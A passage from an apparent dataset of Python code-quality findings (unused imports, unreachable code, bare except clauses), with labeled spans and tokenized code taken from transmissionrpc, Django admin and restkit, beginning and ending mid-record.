"a", " ", "sequence", " ", "or", " ", "iterable", "'", "\\", "10", ";", " ", " ", " ", " ", "result", " ", "=", " ", "new", "(", "cls", ",", " ", "iterable", ")", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "len", "(", "result", ")", " ", "!=", " ", "%", "(", "numf", "ields", ")", "d", ":", "\\", "10", ";", " ", " ", " ", " ", "raise", " ", "Type", "Error", "('", "Expect", "ed", " ", "%", "(", "numf", "ields", ")", "d", " ", "argu", "ment", "s", ",", " ", "got", " ", "%%", "d", "'", " ", "%%", " ", "len", "(", "result", "))\\", "10", ";", " ", " ", " ", " ", "return", " ", "result", " ", "\\\\", "n", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "\\u\\u", "repr", "\\u\\u", "(", "self", "):", "\\", "10", ";", " ", " ", " ", " ", "return", " ", "'%", "(", "type", "name", ")", "s", "(%", "(", "repr", "txt", ")", "s", ")'", " ", "%%", " ", "self", " ", "\\\\", "n", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "\\u", "asd", "ict", "(", "self", "):", "\\", "10", ";", " ", " ", " ", " ", "'", "Return", " ", "a", " ", "new", " ", "dict", " ", "whi", "ch", " ", "maps", " ", "field", " ", "names", " ", "to", " ", "thei", "r", " ", "values", "'", "\\", "10", ";", " ", " ", " ", " ", "return", " ", "dict", "(", "zip", "(", "self", ".\\u", "fields", ",", " ", "self", "))", " ", "\\\\", "n", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "\\u", "replace", "(\\u", "self", ",", " ", "**", "kwd", "s", "):", "\\", "10", ";", " ", " ", " ", " ", "'", "Return", " ", "a", " ", "new", " ", "%", "(", "type", "name", ")", "s", " ", "object", " ", "repla", "cing", " ", "specified", " ", "fields", " ", "with", " ", "new", " ", "values", "'", "\\", "10", ";", " ", " ", " ", " ", "result", " ", "=", " ", "\\u", "self", ".\\u", "make", "(", "map", "(", "kwd", "s", ".", "pop", ",", " ", "%", "(", "field", "\\u", "names", ")", "r", ",", " ", "\\u", "self", "))\\", "10", ";", " ", " ", " ", " ", "if", " ", "kwd", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "raise", " ", "Value", "Error", "('", "Got", " ", "unexpected", " ", "field", " ", "names", ":", " ", "%%", "r", "'", " ", "%%", " ", "kwd", "s", ".", "keys", "())", "\\", "10", ";", " ", " ", " ", " ", "return", " ", "result", " ", "\\\\", "n", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "\\u\\u", "getne", "war", "gs", "\\u\\u", "(", "self", "):", "\\", "10", ";", " ", " ", " ", " ", "return", " ", "tuple", "(", "self", ")", " ", "\\\\", "n", "\\\\", "n", "'''_", "%_", "locals_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "name_", "in_", "enumerate_", "(_", "field", "\\u", "names_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "template_", "+=_", "'", " ", " ", " ", " ", "%", "s", " ", "=", " ", "\\u", "property", "(\\u", "item", "getter", "(%", "d", "))\\", "\\", "n", "'_", "%_", "(_", "name_", ",_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "template_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Execut", "e", " ", "the", " ", "template", " ", "string", " ", "in", " ", "a", " ", "temporar", "y", " ", "namespace_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "namespace_", "=_", "dict_", "(_", "\\u", "itemgetter_", "=_", "\\u", "itemgetter_", ",_", "\\u\\u", "name\\u\\u_", "=_", "'", "namedtupl", "e\\u", "%", "s", "'_", "%_", "typename_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "property_", "=_", "property_", ",_", "\\u", "tuple_", "=_", "tuple_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exec_", "(_", "template_", ",_", "namespace_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Syntax", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Syntax", "Error_", "(_", "e_", "._", "message_", "+_", "':", "\\\\", "n", "'_", "+_", "template_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "result_", "=_", "namespace_", "[_", "typename_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "pick", "ling", " ", "to", " ", "work", ",", " ", "the", " ", "\\u\\u", "module", "\\u\\u", " ", "variab", "le", " ", "need", "s", " ", "to", " ", "be", " ", "set", " ", "to", " ", "the", " ", "frame_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "where", " ", "the", " ", "named", " ", "tuple", " ", "is", " ", "created", ".", " ", " ", "By", "pass", " ", "this", " ", "step", " ", "in", " ", "envi", "rom", "ents", " ", "where_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "sys", ".\\u", "getf", "rame", " ", "is", " ", "not", " ", "defin", "ed", " ", "(", "Jy", "tho", "n", " ", "for", " ", "example", ")", " ", "or", " ", "sys", ".\\u", "getf", "rame", " ", "is", " ", "not_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "defin", "ed", " ", "for", " ", "argu", "ment", "s", " ", "great", "er", " ", "than", " ", "0", " ", "(", "Iron", "Pyth", "on", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "._", "\\u\\u", "module\\u\\u_", "=_", "\\u", "sys_", "._", "\\u", "getframe_", "(_", "1_", ")_", "._", "f", "\\u", "globals_", "._", "get_", "(_", "'\\u", "\\u", "name", "\\u\\u'_", ",_", "'\\u", "\\u", "main", "\\u\\u'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "Attribute", "Error_", ",_", "Value", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
correl/Transmission-XBMC/resources/lib/transmissionrpc/__init__.py
[ { "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2008-2013 Erik Svensson <[email protected]>\n# Licensed under the MIT license.\n\nfrom transmissionrpc.constants import DEFAULT_PORT, DEFAULT_TIMEOUT, PRIORITY, RATIO_LIMIT, LOGGER\nfrom transmissionrpc.error import TransmissionError, HTTPHandlerError\nfrom transmissionrpc.httphandler import HTTPHandler, DefaultHTTPHandler\nfrom transmissionrpc.torrent import Torrent\nfrom transmissionrpc.session import Session\nfrom transmissionrpc.client import Client\nfrom transmissionrpc.utils import add_stdout_logger, add_file_logger\n\n__author__ \t\t= 'Erik Svensson <[email protected]>'\n__version_major__ = 0\n__version_minor__ = 11\n__version__ \t\t= '{0}.{1}'.format(__version_major__, __version_minor__)\n__copyright__ \t\t= 'Copyright (c) 2008-2013 Erik Svensson'\n__license__ \t\t= 'MIT'\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from transmissionrpc.constants import DEFAULT_PORT, DEFAULT_TIMEOUT, PRIORITY, RATIO_LIMIT, LOGGER", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 98 }, { "span": "from transmissionrpc.error import TransmissionError, HTTPHandlerError", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 69 }, { "span": "from transmissionrpc.httphandler import HTTPHandler, DefaultHTTPHandler", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 71 }, { "span": "from transmissionrpc.torrent import Torrent", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 43 }, { "span": "from transmissionrpc.session import Session", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 43 }, { "span": "from transmissionrpc.client import Client", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 41 }, { "span": "from transmissionrpc.utils import add_stdout_logger, add_file_logger", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 68 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "c", ")", " ", "2008", "-", "2013", " ", "Eri", "k", " ", "Sv", "ens", "son", " ", "<", "eri", "k", ".", "public", "@", "gma", "il", ".", "com", ">_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", "d", " ", "under", " ", "the", " ", "MIT", " ", "license", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "transmission", "rpc_", "._", "constants_", "import_", "DEF", "AUL", "T", "\\u", "PORT_", ",_", "DEF", "AUL", "T", "\\u", "TIMEOUT_", ",_", "PRIORITY", "_", ",_", "RATIO", "\\u", "LIMIT_", ",_", "LOGGER_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "transmission", "rpc_", "._", "error_", "import_", "Trans", "missio", "n", "Error_", ",_", "HTTP", "Handle", "r", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "transmission", "rpc_", "._", "http", "handler_", "import_", "HTTP", "Handler_", ",_", "Default", "HTTP", "Handler_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "transmission", "rpc_", "._", "torrent_", "import_", "Torrent", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "transmission", "rpc_", "._", "session_", "import_", "Session_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "transmission", "rpc_", "._", "client_", "import_", "Client_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "transmission", "rpc_", "._", "utils_", "import_", "add", "\\u", "stdout", "\\u", "logger_", ",_", "add", "\\u", "file", "\\u", "logger_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "author\\u\\u_", "=_", "'", "Eri", "k", " ", "Sv", "ens", "son", " ", "<", "eri", "k", ".", "public", "@", "gma", "il", ".", "com", ">'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "version", "\\u", "major", "\\u\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "version", "\\u", "mino", "r\\u\\u", "_", "=_", "11_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "version\\u\\u_", "=_", "'{", "0", "}.", "{", "1", "}'_", "._", "format_", "(_", "\\u\\u", "version", "\\u", "major", "\\u\\u_", ",_", "\\u\\u", "version", "\\u", "mino", "r\\u\\u", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "copyright\\u\\u_", "=_", "'", "Copy", "right", " ", "(", "c", ")", " ", "2008", "-", "2013", " ", "Eri", "k", " ", "Sv", "ens", "son", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "license\\u\\u_", "=_", "'", "MIT", "'_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unreachable code
AppScale/appscale/AppServer/lib/django-1.2/django/contrib/admin/sites.py
[ { "content": " def root(self, request, url):\n \"\"\"\n DEPRECATED. This function is the old way of handling URL resolution, and\n is deprecated in favor of real URL resolution -- see ``get_urls()``.\n\n This function still exists for backwards-compatibility; it will be\n removed in Django 1.3.\n \"\"\"\n import warnings\n warnings.warn(\n \"AdminSite.root() is deprecated; use include(admin.site.urls) instead.\",\n DeprecationWarning\n )\n\n #\n # Again, remember that the following only exists for\n # backwards-compatibility. Any new URLs, changes to existing URLs, or\n # whatever need to be done up in get_urls(), above!\n #\n\n if request.method == 'GET' and not request.path.endswith('/'):\n return http.HttpResponseRedirect(request.path + '/')\n\n if settings.DEBUG:\n self.check_dependencies()\n\n # Figure out the admin base URL path and stash it for later use\n self.root_path = re.sub(re.escape(url) + '$', '', request.path)\n\n url = url.rstrip('/') # Trim trailing slash, if it exists.\n\n # The 'logout' view doesn't require that the person is logged in.\n if url == 'logout':\n return self.logout(request)\n\n # Check permission to continue or display login form.\n if not self.has_permission(request):\n return self.login(request)\n\n if url == '':\n return self.index(request)\n elif url == 'password_change':\n return self.password_change(request)\n elif url == 'password_change/done':\n return self.password_change_done(request)\n elif url == 'jsi18n':\n return self.i18n_javascript(request)\n # URLs starting with 'r/' are for the \"View on site\" links.\n elif url.startswith('r/'):\n from django.contrib.contenttypes.views import shortcut\n return shortcut(request, *url.split('/')[1:])\n else:\n if '/' in url:\n return self.model_page(request, *url.split('/', 2))\n else:\n return self.app_index(request, url)\n\n raise http.Http404('The requested admin page does not exist.')", "metadata": "root.AdminSite.root", "header": "['class', 'AdminSite', '(', 'object', ')', ':', '___EOS___']", "index": 456 } ]
[ { "span": "raise http.Http404('The requested admin page does not exist.')", "start_line": 513, "start_column": 8, "end_line": 513, "end_column": 70 } ]
[]
1
true
[ "[CLS]_", "Unrea", "chab", "le_", "code_", "[SEP]_", "class_", "Admi", "n", "Site_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "root_", "(_", "self_", ",_", "request_", ",_", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "DEP", "RECA", "TED", ".", " ", "Thi", "s", " ", "function", " ", "is", " ", "the", " ", "old", " ", "way", " ", "of", " ", "handling", " ", "URL", " ", "resolu", "tion", ",", " ", "and", "\\", "10", ";", " ", " ", " ", " ", "is", " ", "depre", "cated", " ", "in", " ", "fav", "or", " ", "of", " ", "real", " ", "URL", " ", "resolu", "tion", " ", "--", " ", "see", " ", "``", "get", "\\u", "urls", "()``", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "function", " ", "still", " ", "exist", "s", " ", "for", " ", "back", "ward", "s", "-", "compatibility", ";", " ", "it", " ", "will", " ", "be", "\\", "10", ";", " ", " ", " ", " ", "remove", "d", " ", "in", " ", "Dj", "ang", "o", " ", "1.3", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "warnings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "warnings_", "._", "warn_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Admi", "n", "Site", ".", "root", "()", " ", "is", " ", "depre", "cated", ";", " ", "use", " ", "include", "(", "admin", ".", "site", ".", "urls", ")", " ", "inst", "ead", ".\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Dep", "reca", "tion", "Warning_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Again", ",", " ", "remember", " ", "tha", "t", " ", "the", " ", "follow", "ing", " ", "only", " ", "exist", "s", " ", "for_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "back", "ward", "s", "-", "compatibility", ".", " ", "Any", " ", "new", " ", "URL", "s", ",", " ", "change", "s", " ", "to", " ", "exist", "ing", " ", "URL", "s", ",", " ", "or_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "what", "ever", " ", "need", " ", "to", " ", "be", " ", "don", "e", " ", "up", " ", "in", " ", "get", "\\u", "urls", "()", ",", " ", "above", "!", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "request_", "._", "method_", "==_", "'", "GET", "'_", "and_", "not_", "request_", "._", "path_", "._", "endswith_", "(_", "'/'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "http_", "._", "Http", "Respons", "e", "Redirect_", "(_", "request_", "._", "path_", "+_", "'/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "settings_", "._", "DEBUG_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "check", "\\u", "dependencies_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fig", "ure", " ", "out", " ", "the", " ", "admin", " ", "base", " ", "URL", " ", "path", " ", "and", " ", "stash", " ", "it", " ", "for", " ", "late", "r", " ", "use_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "root", "\\u", "path_", "=_", "re_", "._", "sub_", "(_", "re_", "._", "escape_", "(_", "url_", ")_", "+_", "'$'_", ",_", "''_", ",_", "request_", "._", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "url_", "._", "rstrip_", "(_", "'/'_", ")_", "#", " ", "Trim", " ", "trail", "ing", " ", "slash", ",", " ", "if", " ", "it", " ", "exist", "s", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "'", "logo", "ut", "'", " ", "view", " ", "doe", "sn", "'", "t", " ", "require", " ", "tha", "t", " ", "the", " ", "person", " ", "is", " ", "logged", " ", "in", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "url_", "==_", "'", "logo", "ut", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "logout_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "permissi", "on", " ", "to", " ", "continue", " ", "or", " ", "display", " ", "login", " ", "form", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "has", "\\u", "permission_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "login_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "url_", "==_", "''_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "index_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "url_", "==_", "'", "password", "\\u", "change", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "password", "\\u", "change_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "url_", "==_", "'", "password", "\\u", "change", "/", "don", "e", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "password", "\\u", "change", "\\u", "done_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "url_", "==_", "'", "jsi", "1", "8", "n", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "i18n", "\\u", "javascript", "_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "URL", "s", " ", "startin", "g", " ", "with", " ", "'", "r", "/'", " ", "are", " ", "for", " ", "the", " ", "\"", "View", " ", "on", " ", "site", "\"", " ", "link", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "url_", "._", "startswith_", "(_", "'", "r", "/'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "django_", "._", "contrib_", "._", "contenttype", "s_", "._", "views_", "import_", "shortcut_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "shortcut_", "(_", "request_", ",_", "*_", "url_", "._", "split_", "(_", "'/'_", ")_", "[_", "1_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "'/'_", "in_", "url_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "model", "\\u", "page_", "(_", "request_", ",_", "*_", "url_", "._", "split_", "(_", "'/'_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "app", "\\u", "index_", "(_", "request_", ",_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uD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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Except block handles 'BaseException'
benoitc/restkit/restkit/contrib/console.py
[ { "content": "def external(cmd, data):\n try:\n (child_stdin, child_stdout, child_stderr) = popen3(cmd)\n err = child_stderr.read()\n if err:\n return data\n return child_stdout.read()\n except:\n return data", "metadata": "root.external", "header": "['module', '___EOS___']", "index": 38 }, { "content": "def prettify(response, cli=True):\n if not pygments or not 'content-type' in response.headers:\n return response.body_string()\n \n ctype = response.headers['content-type']\n try:\n mimetype, encoding = ctype.split(\";\")\n except ValueError:\n mimetype = ctype.split(\";\")[0]\n \n # indent body\n body = indent(mimetype, response.body_string())\n \n # get pygments mimetype\n mimetype = pretties.get(mimetype, mimetype)\n \n try:\n lexer = get_lexer_for_mimetype(mimetype)\n body = pygments.highlight(body, lexer, TerminalFormatter())\n return body\n except:\n return body", "metadata": "root.prettify", "header": "['module', '___EOS___']", "index": 80 } ]
[ { "span": "except:", "start_line": 45, "start_column": 4, "end_line": 45, "end_column": 11 }, { "span": "except:", "start_line": 100, "start_column": 4, "end_line": 100, "end_column": 11 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "external_", "(_", "cmd_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "(_", "child", "\\u", "stdin_", ",_", "child", "\\u", "stdout_", ",_", "child", "\\u", "stderr_", ")_", "=_", "popen", "3_", "(_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "child", "\\u", "stderr_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "child", "\\u", "stdout_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "pret", "tify", "_", "(_", "response_", ",_", "cli_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "pygments_", "or_", "not_", "'", "content", "-", "type", "'_", "in_", "response_", "._", "headers_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "response_", "._", "body", "\\u", "string_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ctype_", "=_", "response_", "._", "headers_", "[_", "'", "content", "-", "type", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mimetype_", ",_", "encoding_", "=_", "ctype_", "._", "split_", "(_", "\";\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 